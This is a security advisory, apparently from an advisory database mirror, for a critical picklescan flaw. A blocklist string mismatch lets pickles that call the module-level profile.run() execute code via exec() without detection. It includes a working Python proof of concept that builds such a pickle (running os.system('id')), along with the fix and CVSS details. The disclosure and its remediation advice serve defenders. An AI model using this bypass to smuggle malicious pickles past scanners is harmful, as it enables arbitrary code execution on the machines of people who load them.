Critical

PickleScan's profile.run blocklist mismatch allows exec() bypass

  • Disclosed: 03.03.2026
  • Updated: 11.10.2026 12:20

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

python
"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

python
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

python
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

python
"profile": {"Profile.run", "Profile.runctx"},

to:

python
"profile": "*",

Or explicitly add the module-level functions:

python
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 1.0.4 1.0.4

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-184, CWE-697
Platform
Python (PyPI)
Package
picklescan
Disclosed
03.03.2026
Updated
11.10.2026 12:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7wx9-6375-f5wh - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-455 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

  1. 2025: 51
  2. 2026: 7
Severity:
  1. Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. PickleScan's profile.run blocklist mismatch allows exec() bypass this entry
    Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. High CVE-2025-71320 < 0.0.33 0.0.33
  7. High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. High CVE-2025-71321 < 0.0.33 0.0.33
  9. Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.